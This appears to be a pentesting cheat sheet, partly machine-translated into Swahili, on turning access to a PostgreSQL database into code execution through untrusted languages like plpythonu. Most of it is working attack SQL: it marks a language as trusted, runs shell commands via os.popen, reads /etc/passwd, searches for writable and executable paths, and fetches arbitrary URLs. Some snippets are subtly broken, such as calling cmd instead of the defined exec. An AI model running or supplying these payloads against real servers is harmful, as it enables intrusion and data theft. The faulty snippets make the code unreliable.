Hifadhi ya data ya PostgreSQL uliyopata ufikiaji inaweza kuwa na lugha za uandishi wa skripti tofauti zilizowekwa ambazo unaweza kuzitumia ili kutekeleza msimbo wowote.
Unaweza kuzipata zikifanya kazi:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in “u” and will be the version that will allow you to execute code and use other interesting functions. Hizi ni lugha ambazo ikiwa zimewekwa ni za kuvutia:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
… (lugha nyingine yoyote ya programu inayotumia toleo lisilo salama)
Warning
Ikiwa unapata kwamba lugha ya kuvutia ime wekwa lakini haikubaliki na PostgreSQL (lanpltrusted ni false) unaweza kujaribu ku aminisha kwa kutumia mstari ufuatao ili hakuna vizuizi vitakavyotumika na PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Ili kuangalia ruhusa zako juu ya jedwali pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
Caution
Ikiwa huoni lugha, unaweza kujaribu kuipakia na (unahitaji kuwa superadmin):
Kumbuka kwamba inawezekana kukusanya toleo salama kama “lisilo salama”. Angalia hii kwa mfano. Hivyo kila wakati inafaa kujaribu ikiwa unaweza kutekeleza msimbo hata kama unapata tu toleo la kikubali limewekwa.
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3